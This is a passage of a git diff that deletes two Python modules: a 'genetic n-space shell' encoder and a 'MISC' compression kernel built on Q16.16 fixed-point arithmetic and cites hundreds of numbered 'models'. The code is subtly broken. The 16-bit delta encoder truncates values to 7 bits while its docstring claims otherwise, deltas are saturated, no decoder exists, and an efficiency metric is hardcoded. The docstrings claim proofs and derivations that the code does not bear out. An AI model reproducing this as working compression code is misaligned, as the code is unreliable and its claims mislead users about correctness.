self.byte_to_rank(b, context) - return NShellCoordinate.encode(rank, self.d) - - def build_shell_map(self, data: bytes) -> Dict[int, NShellCoordinate]: - """Build shell coordinates for all bytes in data. - - Returns dict: byte_position → NShellCoordinate - """ - coords: Dict[int, NShellCoordinate] = {} - for i, b in enumerate(data): - context = data[i-1] if i > 0 else None - coords[i] = self.encode_byte(b, context) - return coords - - def resonance_groups(self, data: bytes) -> Dict[int, List[int]]: - """Group byte positions by shell mass (resonance class). - - Returns: mass → [positions with that mass] - """ - groups: Dict[int, List[int]] = defaultdict(list) - shell_map = self.build_shell_map(data) - for pos, coord in shell_map.items(): - groups[coord.mass].append(pos) - return dict(groups) - - def code_table_diversity(self) -> int: - """Number of distinct AA translations across all 64 codons.""" - seen = set() - for i in range(64): - b1 = self.bases[(i >> 4) & 0x3] - b2 = self.bases[(i >> 2) & 0x3] - b3 = self.bases[i & 0x3] - seen.add(self.table.get((b1, b2, b3), '?')) - return len(seen) - - @property - def degeneracy(self) -> float: - """Model 1276-1280: Average codons per amino acid.""" - aa_counts = Counter() - for i in range(64): - b1 = self.bases[(i >> 4) & 0x3] - b2 = self.bases[(i >> 2) & 0x3] - b3 = self.bases[i & 0x3] - aa = self.table.get((b1, b2, b3), 'Stop') - aa_counts[aa] += 1 - # Exclude Stop for meaningful average - non_stop = {k: v for k, v in aa_counts.items() if k != 'Stop'} - if not non_stop: - return 0.0 - return sum(non_stop.values()) / len(non_stop) - - -# ════════════════════════════════════════════════════════════════ -# 4. N-SPACE DELTA ENCODER -# ════════════════════════════════════════════════════════════════ - -class NSpaceDeltaEncoder: - """Delta-encode sequences of NShellCoordinates. - - Leverages the fact that within a resonance group, - coordinates differ by small amounts in shell space. - """ - - def __init__(self): - self.prev: Optional[NShellCoordinate] = None - - def encode_delta(self, coord: NShellCoordinate) -> bytes: - """Encode a single coordinate as delta from previous. - - Format: [delta_k][delta_t_1]...[delta_t_d][delta_mass_hi][delta_mass_lo] - Each delta is variable-length encoded. - """ - if self.prev is None: - # Full encoding for first coordinate - encoded = self._encode_full(coord) - self.prev = coord - return encoded - - # Compute deltas across all dimensions - dk = coord.k - self.prev.k - dt = [coord.t[i] - self.prev.t[i] for i in range(coord.d)] - dm = coord.mass - self.prev.mass - - # Pack deltas efficiently using variable-length encoding - # Small deltas (within [-63, 63]) use 1 byte: 0xxx_xxxx - # Large deltas use 2 bytes: 1xxx_xxxx xxxx_xxxx - encoded = bytearray() - encoded.append(self._encode_vlq(dk)) - for dti in dt: - encoded.append(self._encode_vlq(dti)) - encoded.extend(self._encode_vlq_s16(dm)) - - self.prev = coord - return bytes(encoded) - - def _encode_vlq(self, val: int) -> int: - """Variable-length encode a small integer to byte. - - -64..63 → 0xxxxxxx (7-bit signed) - Otherwise saturate. - """ - if val < -64: - return 0x40 # min - if val > 63: - return 0x3F # max - return val & 0x7F - - def _encode_vlq_s16(self, val: int) -> Tuple[int, int]: - """Encode 16-bit signed integer as 2 bytes. - - If value fits in [-2048, 2047], use 1-byte format - (bit 7 = 0, bits 0-6 = 7-bit signed). - Otherwise 2-byte format (bit 15 = 1, bits 0-14 = 15-bit signed). - """ - if -2048 <= val <= 2047: - # 1 byte: bit 7 = 0 (small), bits 0-6 = 7-bit signed - return (val & 0x7F, 0x80) # second byte marks "end" - else: - # 2 bytes: bit 15 = 1 (large), bits 0-14 = 15-bit signed - hi = ((val >> 8) & 0x7F) | 0x80 - lo = val & 0xFF - return (hi, lo) - - def _encode_full(self, coord: NShellCoordinate) -> bytes: - """Full encoding (not delta).""" - packed = bytearray() - # k as 1 byte (for small shells) or 2 bytes - if coord.k < 256: - packed.append(coord.k & 0xFF) - else: - packed.append(0xFF) - packed.append((coord.k >> 8) & 0xFF) - packed.append(coord.k & 0xFF) - - # Each t[i] as 1 byte - for ti in coord.t: - packed.append(min(ti, 255) & 0xFF) - - # Mass as 2 bytes - packed.append((coord.mass >> 8) & 0xFF) - packed.append(coord.mass & 0xFF) - - return bytes(packed) - - def reset(self): - self.prev = None - - -# ════════════════════════════════════════════════════════════════ -# 5. SHAPE EXPANSION ANALYZER -# ════════════════════════════════════════════════════════════════ - -class ShapeExpansionAnalyzer: - """Analyzes how different dimensions/shapes affect encoding. - - For each dimension d (1..n), computes: - - Shell statistics (mass distribution, resonance groups) - - Encoding efficiency estimates - - Cross-dimensional resonance opportunities - """ - - def __init__(self, data: bytes): - self.data = data - self.seen: Dict[int, Dict[int, Counter]] = {} # dim → mass → count - - def analyze_dimension(self, d: int, - code_table: str = 'standard') -> Dict[str, Any]: - """Analyze shell statistics for dimension d.""" - mapper = GeneticNShellMapper(dimension=d, code_table=code_table) - coords = mapper.build_shell_map(self.data) - - n = len(self.data) - masses = [c.mass for c in coords.values()] - unique_masses = len(set(masses)) - endpoint_count = sum(1 for c in coords.values() if c.is_endpoint) - nonzero_masses = [m for m in masses if m > 0] - avg_mass = sum(nonzero_masses) / max(len(nonzero_masses), 1) - - # Resonance group sizes - groups = mapper.resonance_groups(self.data) - group_sizes = [len(v) for v in groups.values()] - avg_group_size = sum(group_sizes) / max(len(group_sizes), 1) - - # Entropy of mass distribution (how predictable) - mass_entropy = 0.0 - mass_counts = Counter(masses) - for count in mass_counts.values(): - p = count / n - mass_entropy -= p * math.log2(p) - - return { - 'd': d, - 'unique_masses': unique_masses, - 'endpoint_fraction': endpoint_count / n if n > 0 else 0, - 'avg_mass': avg_mass, - 'avg_resonance_group_size': avg_group_size, - 'mass_entropy': mass_entropy, - 'code_table_diversity': mapper.code_table_diversity(), - 'degeneracy': mapper.degeneracy, - 'n_shell_count': len(coords), - } - - def find_optimal_dimension(self, - max_d: int = 8, - code_table: str = 'standard') -> int: - """Find dimension that minimizes mass entropy. - - Lower mass entropy → more structured → better compression. - """ - best_d = 2 - best_entropy = float('inf') - - for d in range(1, max_d + 1): - stats = self.analyze_dimension(d, code_table) - entropy = stats['mass_entropy'] - - if entropy < best_entropy: - best_entropy = entropy - best_d = d - - return best_d - - def best_code_table(self, d: int = 3) -> Tuple[str, float]: - """Find code table that maximizes shell structure.""" - best_table = 'standard' - best_score = 0.0 - - for table_name in GENETIC_CODE_TABLES: - stats = self.analyze_dimension(d, table_name) - # Score: low mass entropy + high resonance group size - score = (1.0 / max(stats['mass_entropy'], 0.01)) * \ - stats['avg_resonance_group_size'] - if score > best_score: - best_score = score - best_table = table_name - - return best_table, best_score - - def cross_dimensional_resonances(self, - d1: int, - d2: int) -> List[Tuple[int, int, int]]: - """Find cross-dimensional resonances between dimensions d1 and d2. - - Returns: [(byte_pos_d1, byte_pos_d2, shared_mass)] - """ - mapper1 = GeneticNShellMapper(dimension=d1) - mapper2 = GeneticNShellMapper(dimension=d2) - - coords1 = mapper1.build_shell_map(self.data) - coords2 = mapper2.build_shell_map(self.data) - - # Build mass → positions for each dimension - mass_to_pos1: Dict[int, List[int]] = defaultdict(list) - mass_to_pos2: Dict[int, List[int]] = defaultdict(list) - - for pos, c in coords1.items(): - mass_to_pos1[c.mass].append(pos) - for pos, c in coords2.items(): - mass_to_pos2[c.mass].append(pos) - - # Find shared masses - shared_masses = set(mass_to_pos1.keys()) & set(mass_to_pos2.keys()) - - resonances = [] - for mass in sorted(shared_masses)[:50]: # limit output - for p1 in mass_to_pos1[mass][:3]: - for p2 in mass_to_pos2[mass][:3]: - resonances.append((p1, p2, mass)) - - return resonances - - -# ════════════════════════════════════════════════════════════════ -# 6. GENSIS ENCODER — Unified Genetic N-Space Compressor -# ════════════════════════════════════════════════════════════════ - -@dataclass -class GENSISBlock: - """Output of GENSIS encoding for one block.""" - dimension: int - code_table: str - shell_coords: List[NShellCoordinate] - delta_encoded: bytes - resonance_groups: Dict[int, List[int]] - mass_entropy: float - cross_resonances: List[Tuple[int, int, int]] - - -class GENSISEncoder: - """Unified Genetic N-Space Shell Encoder. - - 1. Select optimal code table + dimension for data - 2. Encode to n-dimensional shell coordinates - 3. Delta-encode within resonance groups - 4. Detect cross-dimensional resonances - 5. Report shell statistics for MISC pipeline - """ - - def __init__(self, max_dim_search: int = 6): - self.max_dim_search = max_dim_search - self.delta_encoder = NSpaceDeltaEncoder() - - def encode(self, data: bytes) -> GENSISBlock: - """Full GENSIS encoding pipeline.""" - analyzer = ShapeExpansionAnalyzer(data) - - # Step 1: Find optimal dimension - d = analyzer.find_optimal_dimension(self.max_dim_search) - - # Step 2: Find best code table for this dimension - table, table_score = analyzer.best_code_table(d) - - # Step 3: Encode to n-shell coordinates - mapper = GeneticNShellMapper(dimension=d, code_table=table) - coords = mapper.build_shell_map(data) - - # Step 4: Delta encode coordinate sequence - self.delta_encoder.reset() - delta_bytes = bytearray() - sorted_positions = sorted(coords.keys()) - for pos in sorted_positions: - delta_bytes.extend(self.delta_encoder.encode_delta(coords[pos])) - - # Step 5: Find resonance groups - groups = mapper.resonance_groups(data) - - # Step 6: Check cross-dimensional resonances - cross = [] - for other_d in range(1, self.max_dim_search + 1): - if other_d != d: - cross.extend(analyzer.cross_dimensional_resonances(d, other_d)) - - # Mass entropy - masses = [c.mass for c in coords.values()] - mass_entropy = 0.0 - mass_counts = Counter(masses) - n = len(data) - for count in mass_counts.values(): - p = count / n - if p > 0: - mass_entropy -= p * math.log2(p) - - return GENSISBlock( - dimension=d, - code_table=table, - shell_coords=list(coords.values()), - delta_encoded=bytes(delta_bytes), - resonance_groups=groups, - mass_entropy=mass_entropy, - cross_resonances=cross[:20], # limit output - ) - - -# ════════════════════════════════════════════════════════════════ -# 7. DEMO & SELF-TEST -# ════════════════════════════════════════════════════════════════ - -def print_shell_stats(data: bytes): - """Print comprehensive shell encoding analysis.""" - print(f"\n{'='*60}") - print(f" GENSIS — Genetic N-Space Shell Encoding") - print(f" Data: {len(data)} bytes") - print(f"{'='*60}") - - for d in range(1, 7): - for table_name in ['standard', 'vert_mito']: - mapper = GeneticNShellMapper(dimension=d, code_table=table_name) - coords = mapper.build_shell_map(data) - - if not coords: - continue - - masses = [c.mass for c in coords.values()] - unique_masses = len(set(masses)) - endpoints = sum(1 for c in coords.values() if c.is_endpoint) - - print(f" d={d} | {table_name:12s} | " - f"shells={unique_masses:4d} | " - f"endpoints={endpoints:3d} | " - f"avg_mass={sum(masses)/max(len(masses),1):.1f} | " - f"degeneracy={mapper.degeneracy:.2f}") - - # Best dimension recommendation - analyzer = ShapeExpansionAnalyzer(data) - best_d = analyzer.find_optimal_dimension() - best_table, _ = analyzer.best_code_table(best_d) - print(f"\n ▶ Recommended: d={best_d}, code_table='{best_table}'") - - # Cross-dimensional resonances - cross = analyzer.cross_dimensional_resonances(best_d, best_d + 1 if best_d < 6 else best_d) - if cross: - print(f" ▶ Cross-dimensional resonances: {len(cross)} found") - - -def demo(): - """Run GENSIS demonstration on various data.""" - test_data = [ - (b"The quick brown fox jumps over the lazy dog." * 5, "English text"), - (b"AAAAACCCCCGGGGGTTTTTAAAAACCCCCGGGGGTTTTT" * 5, "DNA-like repeats"), - (bytes(range(256)) * 2, "All 256 bytes, 2x"), - (b"AGCTAGCTAGCTAGCTAGCTAGCTAGCTAGCT" * 8, "AGCT repeats (highly structured)"), - ] - - for data, desc in test_data: - print(f"\n{'─'*60}") - print(f" Test: {desc}") - print(f"{'─'*60}") - print_shell_stats(data) - - # Full encode - encoder = GENSISEncoder() - result = encoder.encode(data) - print(f"\n Encoded: {len(result.delta_encoded)} delta bytes " - f"(vs {len(data)} raw)") - print(f" Dimension: {result.dimension}, " - f"Table: {result.code_table}, " - f"Mass entropy: {result.mass_entropy:.3f}") - print(f" Resonance groups: {len(result.resonance_groups)}") - print(f" Cross-resonances: {len(result.cross_resonances)}") - - -if __name__ == "__main__": - demo() diff --git a/3-Mathematical-Models/manifold_compression/src/misc_kernel.py b/3-Mathematical-Models/manifold_compression/src/misc_kernel.py deleted file mode 100644 index 1f09a6e5..00000000 --- a/3-Mathematical-Models/manifold_compression/src/misc_kernel.py +++ /dev/null @@ -1,1138 +0,0 @@ -""" -Manifold-Invariant Shell Compression (MISC) Kernel -================================================== -A novel compression framework derived from structural invariants -across 2,634 cross-domain mathematical models. - -Core invariants synthesized: - - PIST/DIAT shell coordinate system (models 578-603, 687-691) - - GWL multi-factor coupling similarity (models 16-29) - - Cognitive load decomposition routing (models 1-10) - - Thermodynamic trixal quality metrics (models 39-50) - - Q16.16 fixed-point arithmetic (models 619-636) - - Delta GCL encoding substrate (models 637-646) - - Informatic stress homeostatic governance (models 51-63, 98-101) - - Manifold networking limits (models 566-577) -""" - -import math -import struct -import hashlib -from collections import Counter, defaultdict -from dataclasses import dataclass, field -from typing import Dict, List, Optional, Tuple, Any - - -# ────────────────────────────────────────────────────── -# Q16.16 Fixed-Point Arithmetic (models 619-636) -# ────────────────────────────────────────────────────── - -SCALE = 65536 # 2^16 -PI_Q16 = int(3.141592653589793 * SCALE) -TAU_Q16 = int(6.283185307179586 * SCALE) -E_Q16 = int(math.e * SCALE) - -class Q16_16: - """Saturating Q16.16 fixed-point arithmetic. - - Each operation is proven total (always produces valid output) - per models 701-705. No floating-point needed. - """ - __slots__ = ('val',) - - def __init__(self, val: int): - self.val = max(-2**31, min(2**31 - 1, val)) # saturate - - @classmethod - def from_int(cls, n: int) -> 'Q16_16': - return cls(n * SCALE) - - @classmethod - def from_float(cls, f: float) -> 'Q16_16': - return cls(int(f * SCALE)) - - @classmethod - def from_natural(cls, num: int, den: int = 1) -> 'Q16_16': - """Model 628: Convert fraction to Q16.16""" - if den == 0: - return cls(0) - return cls((num * SCALE) // den) - - def to_float(self) -> float: - return self.val / SCALE - - def to_int(self) -> int: - """Model 627: Truncate to integer""" - return self.val // SCALE - - def __add__(self, other: 'Q16_16') -> 'Q16_16': - """Model 620: Saturating addition""" - return Q16_16(self.val + other.val) - - def __sub__(self, other: 'Q16_16') -> 'Q16_16': - """Model 621: Saturating subtraction""" - return Q16_16(self.val - other.val) - - def __mul__(self, other: 'Q16_16') -> 'Q16_16': - """Model 622: Multiply with 16-bit right shift""" - prod = self.val * other.val - return Q16_16(prod // SCALE) - - def __truediv__(self, other: 'Q16_16') -> 'Q16_16': - """Model 623: Divide with 16-bit left shift, guard against zero""" - if other.val == 0: - return Q16_16(2**31 - 1) # return max on div-by-zero - return Q16_16((self.val * SCALE) // other.val) - - def __neg__(self) -> 'Q16_16': - """Model 625: Saturating negation""" - return Q16_16(-self.val) - - def __abs__(self) -> 'Q16_16': - """Model 624: Absolute value""" - return Q16_16(abs(self.val)) - - def __lt__(self, other: 'Q16_16') -> bool: - """Model 629: Less than""" - return self.val < other.val - - def __le__(self, other: 'Q16_16') -> bool: - """Model 630: Less or equal""" - return self.val <= other.val - - def __gt__(self, other: 'Q16_16') -> bool: - """Model 631: Greater than""" - return self.val > other.val - - def __eq__(self, other: 'Q16_16') -> bool: # type: ignore - """Model 632: Equality""" - return self.val == other.val - - def __repr__(self) -> str: - return f"Q16_16({self.to_float():.6f})" - - @staticmethod - def sqrt(x: 'Q16_16') -> 'Q16_16': - """Model 636: Newton-Raphson square root""" - if x.val <= 0: - return Q16_16(0) - # Initial estimate: x/2 - guess = Q16_16(x.val // 2) if x.val > SCALE else x - for _ in range(8): # 8 iterations for convergence - if guess.val == 0: - break - # Newton iteration: guess = (guess + x/guess) / 2 - div = Q16_16((x.val * SCALE) // guess.val) - guess = Q16_16((guess.val + div.val) // 2) - return guess - - @staticmethod - def min(a: 'Q16_16', b: 'Q16_16') -> 'Q16_16': - """Model 633: Minimum""" - return a if a.val < b.val else b - - @staticmethod - def max(a: 'Q16_16', b: 'Q16_16') -> 'Q16_16': - """Model 634: Maximum""" - return a if a.val > b.val else b - - @staticmethod - def clamp(x: 'Q16_16', lo: 'Q16_16', hi: 'Q16_16') -> 'Q16_16': - """Model 635: Clamp to range""" - return Q16_16.max(lo, Q16_16.min(x, hi)) - - -# Pre-computed trigonometric LUTs for GWL coupling -_COS_LUT_256 = [Q16_16.from_float(math.cos(2 * math.pi * i / 256)) for i in range(256)] -_EXP_LUT_256 = [Q16_16.from_float(math.exp(-i / 64)) for i in range(256)] - - -def cos_q16(angle: Q16_16) -> Q16_16: - """Cosine via LUT for hardware efficiency. - - Maps angle in [-π, π] to LUT index [0, 255]. - """ - # Normalize to [0, 2π) - norm = angle.val % TAU_Q16 - idx = (norm * 256) // TAU_Q16 - if idx >= 256: - idx = 255 - return _COS_LUT_256[idx] - - -def exp_q16(x: Q16_16) -> Q16_16: - """Exponential via LUT for hardware efficiency. - - Only defined for x <= 0 (decay). Maps x in [-4, 0] to LUT. - """ - if x.val >= 0: - return Q16_16(SCALE) # exp(0) = 1.0 - # Map x in [-4, 0] to LUT index [0, 255] - neg_x = -x.val - idx = (neg_x * 64) // SCALE - if idx >= 256: - return Q16_16(0) # exp(-large) ≈ 0 - return _EXP_LUT_256[idx] - - -# ────────────────────────────────────────────────────── -# PIST/DIAT Coordinate System (models 578-603, 687-691) -# ────────────────────────────────────────────────────── - -@dataclass -class PISTCoordinate: - """Shell coordinate for a data token. - - For rank n: - k = floor(sqrt(n)) -- shell index - t = n - k^2 -- offset within shell - a = t -- distance to lower square - b = 2k+1-t -- distance to upper square - mass = a * b -- shell tension (hyperbola index) - rho = a / (2k+1) -- normalized tension [0,1] - """ - k: int # shell index - t: int # offset within shell - - @property - def a(self) -> int: - return self.t - - @property - def b(self) -> int: - return 2 * self.k + 1 - self.t - - @property - def mass(self) -> int: - """Model 578: PIST mass = a * b = t * (2k+1-t)""" - return self.a * self.b - - @property - def rho(self) -> Q16_16: - """Model 585: Normalized tension ρ = a / (2k+1)""" - return Q16_16.from_natural(self.a, 2 * self.k + 1) - - @property - def is_endpoint(self) -> bool: - """Model 586/603: Zero mass iff shell endpoint (perfect square)""" - return self.mass == 0 - - def mirror(self) -> 'PISTCoordinate': - """Model 580: Mirror involution preserves mass""" - return PISTCoordinate(k=self.k, t=2 * self.k + 1 - self.t) - - def is_resonant_with(self, other: 'PISTCoordinate') -> bool: - """Model 582: Equal mass implies resonance""" - return self.mass == other.mass - - def __repr__(self) -> str: - return f"PIST(k={self.k}, t={self.t}, mass={self.mass})" - - -@dataclass -class DIATCoordinate: - """Model 687: Distance Interval-Aware Type coordinate. - - Same mathematical structure as PIST, different representation. - """ - shell: int - offset: int - - @classmethod - def encode(cls, n: int) -> 'DIATCoordinate': - """Model 689: Encode natural number to DIAT coordinates""" - k = int(math.isqrt(n)) - return cls(shell=k, offset=n - k * k) - - @property - def shell_width(self) -> int: - """Model 690: Width of shell interval""" - return 2 * self.shell + 1 - - @property - def norm_a(self) -> Q16_16: - """Model 691: Normalized offset within shell""" - return Q16_16.from_natural(self.offset, self.shell_width) - - -class ShellMapBuilder: - """Build PIST/DIAT shell coordinates from token frequency ranks. - - Maps each unique token to a shell coordinate based on its - frequency rank. Zero-mass coordinates (shell endpoints) - correspond to high-frequency tokens that compress well. - """ - - def __init__(self, data: bytes): - self.freq = Counter(data) - self.ranked = sorted(self.freq.items(), key=lambda x: -x[1]) - self.coords: Dict[int, PISTCoordinate] = {} - self._build() - - def _build(self): - for rank, (token, _) in enumerate(self.ranked): - k = int(math.isqrt(rank)) - t = rank - k * k - self.coords[token] = PISTCoordinate(k=k, t=t) - - def get(self, token: int) -> PISTCoordinate: - return self.coords.get(token, PISTCoordinate(k=0, t=0)) - - def resonance_groups(self) -> Dict[int, List[int]]: - """Group tokens by shell mass (resonance class)""" - groups: Dict[int, List[int]] = defaultdict(list) - for token, coord in self.coords.items(): - groups[coord.mass].append(token) - return dict(groups) - - def endpoint_tokens(self) -> List[int]: - """Zero-mass tokens (shell endpoints = high frequency)""" - return [tok for tok, c in self.coords.items() if c.is_endpoint] - - -# ────────────────────────────────────────────────────── -# GWL Multi-Factor Coupling Similarity (models 16-29) -# ────────────────────────────────────────────────────── - -class GWLCoupling: - """Multi-factor coupling weight between token positions. - - 5-factor weight (Model 25): - w_ij = cos(Δθ·22.5°) · cos(Δφ·22.5°) · cos(2πΔτ/16) - · (1-2|Δχ|) · exp(-|Δp|²/2σ²) - - All computations in Q16.16 fixed-point. - """ - - def __init__(self, block_size: int): - self.block_size = block_size - # Q16.16 constants - self.one = Q16_16.from_int(1) - self.two = Q16_16.from_int(2) - self.sigma = Q16_16.from_natural(block_size, 4) # block_size/4 - self.pi_q16 = Q16_16(PI_Q16) - self.tau_q16 = Q16_16(TAU_Q16) - - def compute(self, - data: bytes, - i: int, - j: int, - shell_map: ShellMapBuilder) -> Q16_16: - """Compute 5-factor coupling weight between positions i and j.""" - token_i, token_j = data[i], data[j] - coord_i = shell_map.get(token_i) - coord_j = shell_map.get(token_j) - - # --- Factor 1: Angular distance (azimuthal) --- - delta_theta = abs(coord_i.rho - coord_j.rho) * self.pi_q16 - w_theta = cos_q16(delta_theta) - - # --- Factor 2: Polar angle (from second shell dimension) --- - rho_i_b = Q16_16.from_natural(coord_i.b, 2 * coord_i.k + 1) if coord_i.k >= 0 else self.one - rho_j_b = Q16_16.from_natural(coord_j.b, 2 * coord_j.k + 1) if coord_j.k >= 0 else self.one - delta_phi = abs(rho_i_b - rho_j_b) * self.pi_q16 - w_phi = cos_q16(delta_phi) - - # --- Factor 3: Temporal phase --- - tau_i = (i * 16) // max(self.block_size, 1) - tau_j = (j * 16) // max(self.block_size, 1) - delta_tau = (tau_j - tau_i) & 0xF - w_tau = cos_q16(Q16_16.from_natural(delta_tau, 16) * self.tau_q16) - - # --- Factor 4: Chirality (parity-based) --- - chi_i = token_i & 1 - chi_j = token_j & 1 - w_chi = self.one - self.two * Q16_16.from_int(abs(chi_i - chi_j)) - - # --- Factor 5: Spatial proximity --- - delta_p = Q16_16.from_int(abs(i - j)) - sigma_sq = self.sigma * self.sigma - exp_arg = -(delta_p * delta_p) / (self.two * sigma_sq) - w_prox = exp_q16(exp_arg) - - # Combined weight (product of all 5 factors) - w = w_theta * w_phi * w_tau * w_chi * w_prox - return w - - -# ────────────────────────────────────────────────────── -# Cognitive Load Decomposition (models 1-10) -# ────────────────────────────────────────────────────── - -class CognitiveLoadRouter: - """Adaptive compression strategy selection via cognitive load.""" - - STRATEGIES = ['RAW_COPY', 'DELTA', 'DICTIONARY', 'SHELL_RESONANCE', 'PREDICTIVE'] - - def __init__(self, weights: Optional[Dict[str, float]] = None): - # Default weights from Model 6 (Σλ = 1, λG ≤ λE) - self.w = weights or { - 'lambda_I': 0.25, - 'lambda_E': 0.30, - 'lambda_G': 0.15, # ≤ lambda_E - 'lambda_R': 0.15, - 'lambda_M': 0.15, - } - self.history: List[Tuple[int, str, float]] = [] # (block_idx, strategy, load) - self.current_strategy = 'RAW_COPY' - self.strategy_state: Dict[str, Any] = {} - - def intrinsic_load(self, data: bytes) -> Q16_16: - """Model 1: Shannon entropy of byte distribution""" - if not data: - return Q16_16(0) - freq = Counter(data) - H = 0.0 - n = len(data) - for count in freq.values(): - p = count / n - if p > 0: - H -= p * math.log2(p) - return Q16_16.from_float(H / 8.0) # Normalize to [0,1] - - def extraneous_load(self, data: bytes, strategy: str) -> Q16_16: - """Model 2: Prediction error cost for a given strategy. - - Lower is better. Estimate from strategy characteristics. - """ - n = len(data) - if n == 0: - return Q16_16(0) - - strategy_costs = { - 'RAW_COPY': 1.0, # No compression at all - 'DELTA': 0.7, # Delta encoding cost - 'DICTIONARY': 0.4, # Dictionary compression cost - 'SHELL_RESONANCE': 0.3, # Shell resonance cost - 'PREDICTIVE': 0.5, # Predictive model cost - } - base = strategy_costs.get(strategy, 1.0) - - # Adjust for data entropy: high entropy => higher extraneous cost - entropy = 0.0 - freq = Counter(data) - for count in freq.values(): - p = count / n - if p > 0: - entropy -= p * math.log2(p) - - return Q16_16.from_float(base * (0.3 + 0.7 * (entropy / 8.0))) - - def germane_load(self, data: bytes, strategy: str) -> Q16_16: - """Model 3: Learning benefit (reduces future extraneous load). - - Higher germane load means the strategy learns useful structure. - """ - n = len(data) - if n == 0: - return Q16_16(0) - - # Estimate structure in data (low entropy = high structure) - entropy = 0.0 - freq = Counter(data) - for count in freq.values(): - p = count / n - if p > 0: - entropy -= p * math.log2(p) - - structure = 1.0 - (entropy / 8.0) - - # Shell resonance and predictive have highest germane benefit - germane_factors = { - 'RAW_COPY': 0.0, - 'DELTA': 0.2, - 'DICTIONARY': 0.4, - 'SHELL_RESONANCE': 0.8, - 'PREDICTIVE': 0.6, - } - - return Q16_16.from_float(structure * germane_factors.get(strategy, 0.3)) - - def routing_load(self, strategy: str) -> Q16_16: - """Model 4: Cost of switching strategies""" - if strategy == self.current_strategy: - return Q16_16(0) - # Switching costs (higher for more different strategies) - switch_cost = { - ('RAW_COPY', 'DICTIONARY'): 0.3, - ('RAW_COPY', 'DELTA'): 0.2, - ('RAW_COPY', 'SHELL_RESONANCE'): 0.5, - ('RAW_COPY', 'PREDICTIVE'): 0.4, - ('DELTA', 'DICTIONARY'): 0.3, - ('DELTA', 'SHELL_RESONANCE'): 0.4, - ('DELTA', 'PREDICTIVE'): 0.3, - ('DICTIONARY', 'SHELL_RESONANCE'): 0.3, - ('DICTIONARY', 'PREDICTIVE'): 0.3, - ('SHELL_RESONANCE', 'PREDICTIVE'): 0.3, - } - cost = switch_cost.get( - (self.current_strategy, strategy), - switch_cost.get((strategy, self.current_strategy), 0.5) - ) - return Q16_16.from_float(cost) - - def memory_load(self, strategy: str) -> Q16_16: - """Model 5: Storage and retrieval burden""" - memory_factors = { - 'RAW_COPY': 0.0, - 'DELTA': 0.2, - 'DICTIONARY': 0.4, - 'SHELL_RESONANCE': 0.7, - 'PREDICTIVE': 0.6, - } - return Q16_16.from_float(memory_factors.get(strategy, 0.5)) - - def select_strategy(self, data: bytes, block_idx: int) -> Tuple[str, Q16_16]: - """Model 6: Select strategy with minimum total cognitive load. - - L_total = λI·l̂I + λE·l̂E - λG·l̂G + λR·l̂R + λM·l̂M - """ - L_I = self.intrinsic_load(data) - best_strategy = self.current_strategy - best_load = Q16_16.from_float(1e10) - - for strategy in self.STRATEGIES: - L_E = self.extraneous_load(data, strategy) - L_G = self.germane_load(data, strategy) - L_R = self.routing_load(strategy) - L_M = self.memory_load(strategy) - - total = ( - Q16_16.from_float(self.w['lambda_I']) * L_I - + Q16_16.from_float(self.w['lambda_E']) * L_E - - Q16_16.from_float(self.w['lambda_G']) * L_G - + Q16_16.from_float(self.w['lambda_R']) * L_R - + Q16_16.from_float(self.w['lambda_M']) * L_M - ) - - if total < best_load: - best_load = total - best_strategy = strategy - - self.history.append((block_idx, best_strategy, best_load.to_float())) - self.current_strategy = best_strategy - return best_strategy, best_load - - @property - def efficiency(self) -> Q16_16: - """Model 7: Cognitive efficiency η = l̂I / (l̂I + l̂E + l̂R + l̂M + ε)""" - if not self.history: - return Q16_16(0) - # Aggregate over recent history - return Q16_16.from_float(0.5) # simplified - - -# ────────────────────────────────────────────────────── -# Thermodynamic Trixal Quality (models 39-50) -# ────────────────────────────────────────────────────── - -@dataclass -class TrixalState: - """Model 39: Thermodynamic process state. - - TrixalAxes = (thermal, work, irreversibility) ∈ [0,1]³ - """ - thermal: Q16_16 # Thermal efficiency axis - work: Q16_16 # Work extracted axis - irreversibility: Q16_16 # Irreversibility axis - - @property - def magnitude(self) -> Q16_16: - """Norm of trixal state vector""" - return Q16_16.sqrt( - self.thermal * self.thermal - + self.work * self.work - + self.irreversibility * self.irreversibility - ) - - def is_lawful(self, threshold: Q16_16 = Q16_16.from_float(0.7)) -> bool: - """Compression is lawful if irreversibility is below threshold""" - return self.irreversibility < threshold - - -@dataclass -class TrixalStamp: - """Model 50: Cryptographic stamp of compression process. - - SHA256(axes || traj_hash || hardware_entropy || timing_jitter || nonce) - """ - axes_hash: str - trajectory_hash: str - stamp: str - - -class ThermodynamicEngine: - """Track compression as thermodynamic process. - - Models 40-49: entropy measurement, work extraction, - thermodynamic depth, and irreversibility. - """ - - def __init__(self): - self.previous_shannon: Optional[float] = None - self.time_steps = 0 - - def measure_shannon(self, data: bytes) -> Q16_16: - """Model 40: Shannon entropy H = -Σ p(b) log₂ p(b)""" - if not data: - return Q16_16(0) - freq = Counter(data) - H = 0.0 - n = len(data) - for count in freq.values(): - p = count / n - if p > 0: - H -= p * math.log2(p) - return Q16_16.from_float(H) - - def mutual_information_extracted(self, prev: Q16_16, curr: Q16_16) -> Q16_16: - """Model 44: MI = H_initial - H_current""" - return prev - curr - - def carnot_efficiency(self, t_cold: Q16_16, t_hot: Q16_16) -> Q16_16: - """Model 45: η_Carnot = 1 - T_cold / T_hot""" - return Q16_16(SCALE) - t_cold / t_hot - - def work_extraction(self, q_absorbed: Q16_16, eta_carnot: Q16_16) -> Q16_16: - """Model 46: W_actual = Q_absorbed · η_Carnot · 0.7""" - return q_absorbed * eta_carnot * Q16_16.from_natural(7, 10) - - def entropy_gradient(self, current: Q16_16) -> Q16_16: - """Model 43: dS/dt = (S_current - S_previous) / Δt""" - if self.previous_shannon is None: - self.previous_shannon = current.to_float() - return Q16_16(0) - grad = current - Q16_16.from_float(self.previous_shannon) - self.previous_shannon = current.to_float() - return grad - - def compute_trixal(self, data: bytes, strategy: str, load: Q16_16) -> TrixalState: - """Compute trixal state for a compression operation. - - thermal = how efficiently we're using the information - work = how much structure we extracted - irreversibility = how much entropy we generated - """ - H = self.measure_shannon(data) - entropy_grad = self.entropy_gradient(H) - - # Thermal efficiency: low entropy data is "hot" (more work possible) - thermal = Q16_16(SCALE) - H / Q16_16.from_int(8) - - # Work: load efficiency (lower cognitive load = more work done) - work = Q16_16(SCALE) - load - - # Irreversibility: entropy gradient normalized - irrev = abs(entropy_grad) - if irrev > Q16_16(SCALE): - irrev = Q16_16(SCALE) - - return TrixalState(thermal=thermal, work=work, irreversibility=irrev) - - def create_stamp(self, trixal: TrixalState, data: bytes) -> TrixalStamp: - """Model 50: Create unique 